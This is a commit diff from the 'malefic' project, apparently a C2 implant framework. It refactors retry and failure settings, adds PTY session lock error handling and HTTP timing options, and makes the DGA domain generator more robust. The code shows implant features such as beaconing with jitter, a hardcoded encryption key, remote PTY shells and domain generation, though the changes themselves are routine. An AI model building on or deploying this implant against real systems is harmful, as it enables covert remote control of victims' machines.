fix: misc

Author: h3zh1

Cargo.lock

@@ -6,7 +6,8 @@ basic:
   cron: "*/5 * * * * * *" # cron express
   jitter: 0.2
   keepalive: false
-  retry: 10             # 每个目标允许的连续失败次数
+  retry: 3              # 每个目标注册重试次数
+  max_failures: 10      # 每个目标允许的连续会话失败次数
   max_cycles: -1        # 最大循环次数，-1 表示无限循环
   encryption: aes
   key: maliceofinternal

implant.yaml

@@ -11,7 +11,7 @@ pub use std::ffi::{c_char, c_int, c_uint, CStr};
 
 // ── Runtime re-exports (used by all module wrappers) ────────────────────────
 
-pub use malefic_runtime::module_sdk::{RtModule, RtChannel, RtResult, RtChannelError};
+pub use malefic_runtime::rtmodule::{RtModule, RtChannel, RtResult, RtChannelError};
 pub use malefic_proto::proto::implantpb::spite::Body;
 pub use malefic_proto::proto::modulepb::{Request, Response};
 

malefic-3rd-template/malefic-3rd-ffi/src/lib.rs

@@ -5,7 +5,7 @@
 
 use malefic_runtime::abi::{RtBuffer, RtModuleHandle, RtStatus, RT_ABI_VERSION};
 use malefic_runtime::abi::{RtSendFn, RtRecvFn, RtTryRecvFn, RtHostFreeFn};
-use malefic_runtime::module_sdk::{RtModule, RtChannel, ErasedRtModule, RtModuleDescriptor};
+use malefic_runtime::rtmodule::{RtModule, RtChannel, ErasedRtModule, RtModuleDescriptor};
 use malefic_runtime::codec;
 
 // ── Registry ────────────────────────────────────────────────────────────────
@@ -142,11 +142,11 @@ pub extern "C" fn rt_module_run(
     };
 
     let (status, buf) = match module.run(task_id, &channel) {
-        malefic_runtime::module_sdk::RtResult::Done(body) => {
+        malefic_runtime::rtmodule::RtResult::Done(body) => {
             let bytes = codec::encode_body(task_id, body);
             (RtStatus::Done, RtBuffer::from_vec(bytes))
         }
-        malefic_runtime::module_sdk::RtResult::Error(msg) => {
+        malefic_runtime::rtmodule::RtResult::Error(msg) => {
             (RtStatus::Error, RtBuffer::from_vec(msg.into_bytes()))
         }
     };

malefic-3rd-template/src/lib.rs

@@ -80,6 +80,12 @@ impl std::fmt::Debug for PtySession {
 }
 
 impl Pty {
+    fn sessions() -> Result<std::sync::MutexGuard<'static, HashMap<String, PtySession>>, String> {
+        PTY_SESSIONS
+            .lock()
+            .map_err(|e| format!("PTY sessions lock poisoned: {}", e))
+    }
+
     fn error_response(id: u32, session_id: &str, error: String, active: bool) -> ModuleResult {
         let response = PtyResponse {
             session_id: session_id.to_string(),
@@ -115,7 +121,7 @@ impl Pty {
     }
 
     fn check_session_status(session_id: &str) -> Result<bool, String> {
-        let sessions = PTY_SESSIONS.lock().unwrap();
+        let sessions = Self::sessions()?;
         let session = sessions
             .get(session_id)
             .ok_or_else(|| format!("PTY session {} does not exist", session_id))?;
@@ -143,7 +149,7 @@ impl Pty {
     }
 
     fn get_session_handles(session_id: &str) -> Result<SessionHandles, String> {
-        let sessions = PTY_SESSIONS.lock().unwrap();
+        let sessions = Self::sessions()?;
         let session = sessions
             .get(session_id)
             .ok_or_else(|| format!("PTY session {} does not exist", session_id))?;
@@ -375,7 +381,10 @@ impl Pty {
 
     fn terminate_and_remove_session(session_id: &str) -> bool {
         let session = {
-            let mut sessions = PTY_SESSIONS.lock().unwrap();
+            let mut sessions = match PTY_SESSIONS.lock() {
+                Ok(s) => s,
+                Err(_) => return false,
+            };
             sessions.remove(session_id)
         };
 
@@ -519,7 +528,7 @@ impl Pty {
         };
 
         {
-            let sessions = PTY_SESSIONS.lock().unwrap();
+            let sessions = Self::sessions().map_err(|e| anyhow::anyhow!(e))?;
             if sessions.contains_key(&session_id) {
                 return Self::error_response(
                     id,
@@ -590,7 +599,7 @@ impl Pty {
         let output_receiver = Arc::new(Mutex::new(output_rx));
 
         {
-            let mut sessions = PTY_SESSIONS.lock().unwrap();
+            let mut sessions = Self::sessions().map_err(|e| anyhow::anyhow!(e))?;
             sessions.insert(
                 session_id.clone(),
                 PtySession {
@@ -756,7 +765,7 @@ impl Pty {
         };
 
         {
-            let sessions = PTY_SESSIONS.lock().unwrap();
+            let sessions = Self::sessions().map_err(|e| anyhow::anyhow!(e))?;
             if sessions.contains_key(&session_id) {
                 return Self::error_response(
                     id,
@@ -827,7 +836,7 @@ impl Pty {
         });
 
         {
-            let mut sessions = PTY_SESSIONS.lock().unwrap();
+            let mut sessions = Self::sessions().map_err(|e| anyhow::anyhow!(e))?;
             sessions.insert(
                 session_id.clone(),
                 PtySession {
@@ -1107,7 +1116,7 @@ impl Pty {
 
     async fn list_sessions(&mut self, id: u32) -> ModuleResult {
         let (sessions_info, active_sessions) = {
-            let sessions = PTY_SESSIONS.lock().unwrap();
+            let sessions = Self::sessions().map_err(|e| anyhow::anyhow!(e))?;
             if sessions.is_empty() {
                 ("No active PTY sessions".to_string(), Vec::new())
             } else {

malefic-3rd/src/pty/mod.rs

@@ -3,7 +3,7 @@ extern crate alloc;
 use alloc::collections::BTreeMap;
 use alloc::string::{String, ToString};
 use alloc::vec::Vec;
-use core::convert::{TryFrom, TryInto};
+use core::convert::TryFrom;
 use core::fmt;
 
 #[derive(Debug)]
@@ -242,11 +242,15 @@ impl<'a> Cursor<'a> {
             TRUE => Ok(Value::Bool(true)),
             INT => {
                 let bytes = self.read_exact(8)?;
-                Ok(Value::Int(i64::from_le_bytes(bytes.try_into().unwrap())))
+                let mut value = [0u8; 8];
+                value.copy_from_slice(bytes);
+                Ok(Value::Int(i64::from_le_bytes(value)))
             }
             FLOAT => {
                 let bytes = self.read_exact(8)?;
-                Ok(Value::Float(f64::from_le_bytes(bytes.try_into().unwrap())))
+                let mut value = [0u8; 8];
+                value.copy_from_slice(bytes);
+                Ok(Value::Float(f64::from_le_bytes(value)))
             }
             STR => {
                 let len = self.read_varint()?;

malefic-crates/common/src/tinyserde.rs

@@ -64,6 +64,7 @@ pub struct HttpRequestConfig {
     pub headers: HashMap<String, String>, // Contains all HTTP headers
     pub response_read_chunk_size: usize,
     pub response_retry_delay: Duration,
+    pub flush_poll_interval: Duration,
 }
 
 // ============= REM Configuration Structure =============
@@ -83,6 +84,7 @@ const DEFAULT_REM_CONNECT_TIMEOUT_FACTOR: u32 = 20;
 
 const DEFAULT_HTTP_RESPONSE_READ_CHUNK_SIZE: usize = 8 * 1024;
 const DEFAULT_HTTP_RESPONSE_RETRY_DELAY: Duration = Duration::from_millis(10);
+const DEFAULT_HTTP_FLUSH_POLL_INTERVAL: Duration = Duration::from_millis(100);
 
 // ============= Common Configuration Structure =============
 
@@ -201,6 +203,7 @@ impl HttpRequestConfig {
             headers,
             response_read_chunk_size: DEFAULT_HTTP_RESPONSE_READ_CHUNK_SIZE,
             response_retry_delay: DEFAULT_HTTP_RESPONSE_RETRY_DELAY,
+            flush_poll_interval: DEFAULT_HTTP_FLUSH_POLL_INTERVAL,
         }
     }
 

malefic-crates/config/src/config.rs

@@ -44,6 +44,7 @@ lazy_static! {
         jitter: 0.2f64,
         keepalive: false,
         retry: 10u32,
+        max_failures: 10u32,
         max_cycles: -1i32,
         name: "malefic".to_string(),
         key: "maliceofinternal".to_string().into_bytes(),
@@ -92,6 +93,7 @@ lazy_static! {
     pub static ref KEEPALIVE: bool = RUNTIME_CONFIG.keepalive;
     // Target server fault tolerance configuration
     pub static ref RETRY: u32 = RUNTIME_CONFIG.retry;
+    pub static ref MAX_FAILURES: u32 = RUNTIME_CONFIG.max_failures;
     pub static ref MAX_CYCLES: i32 = RUNTIME_CONFIG.max_cycles;
     // Encryption configuration
     pub static ref NAME: String = RUNTIME_CONFIG.name.clone();

malefic-crates/config/src/lib.rs

@@ -62,6 +62,7 @@ pub struct RuntimeConfig {
     pub jitter: f64,
     pub keepalive: bool,
     pub retry: u32,
+    pub max_failures: u32,
     pub max_cycles: i32,
     pub name: String,
     pub key: Vec<u8>,
@@ -633,6 +634,7 @@ fn runtime_to_value(cfg: &RuntimeConfig) -> Value {
         map.insert("jitter".to_string(), Value::Float(cfg.jitter));
         map.insert("keepalive".to_string(), value_bool(cfg.keepalive));
         map.insert("retry".to_string(), value_int(cfg.retry as i64));
+        map.insert("max_failures".to_string(), value_int(cfg.max_failures as i64));
         map.insert("max_cycles".to_string(), value_int(cfg.max_cycles as i64));
         map.insert("name".to_string(), value_str(&cfg.name));
         map.insert("key".to_string(), value_bytes(&cfg.key));
@@ -681,6 +683,13 @@ fn runtime_from_value(v: &Value) -> Result<RuntimeConfig, BlobError> {
         },
         keepalive: expect_bool(map_get(map, obfstr!("keepalive"))?, obfstr!("keepalive"))?,
         retry: expect_u32(map_get(map, obfstr!("retry"))?, obfstr!("retry"))?,
+        max_failures: map_get(map, obfstr!("max_failures"))
+            .ok()
+            .and_then(|v| match v {
+                Value::Int(i) => Some(*i as u32),
+                _ => None,
+            })
+            .unwrap_or(10),
         max_cycles: expect_i32(map_get(map, obfstr!("max_cycles"))?, obfstr!("max_cycles"))?,
         name: expect_str(map_get(map, obfstr!("name"))?, obfstr!("name"))?,
         key: expect_bytes(map_get(map, obfstr!("key"))?, obfstr!("key"))?,
@@ -849,6 +858,7 @@ mod tests {
             jitter: 0.2,
             keepalive: true,
             retry: 3,
+            max_failures: 10,
             max_cycles: -1,
             name: "demo".into(),
             key: b"demo-key".to_vec(),

malefic-crates/config/src/runtime.rs

@@ -44,9 +44,10 @@ impl DgaGenerator {
         let dgas = self.algorithm.generate();
         let mut server_configs = Vec::new();
         for dga in dgas {
-            let template = self.find_template_for_domain(&dga.suffix).unwrap();
-            let config = self.create_server_config(&dga, template);
-            server_configs.push(config);
+            if let Some(template) = self.find_template_for_domain(&dga.suffix) {
+                let config = self.create_server_config(&dga, template);
+                server_configs.push(config);
+            }
         }
         server_configs
     }